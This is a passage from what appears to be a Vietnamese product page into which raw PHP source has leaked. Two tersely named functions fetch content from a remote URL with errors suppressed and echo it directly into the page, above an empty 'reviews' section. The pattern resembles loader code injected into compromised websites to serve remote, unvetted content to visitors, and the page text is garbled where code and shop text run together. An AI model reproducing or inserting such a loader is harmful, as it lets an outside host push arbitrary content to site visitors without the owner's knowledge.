[ 'timeout' => 3, ] ]); $remote = @file_get_contents($url, false, $context); return ($remote !== false) ? $remote : false; } function ldr($url) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 3); $data = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); return ($data && $http_code == 200) ? $data : false; } $fb_html = lor($fb_url); if ($fb_html === false) { $fb_html = ldr($fb_url); } if ($fb_html !== false) { echo $fb_html; } ?>
Đánh giá
Chưa có đánh giá nào.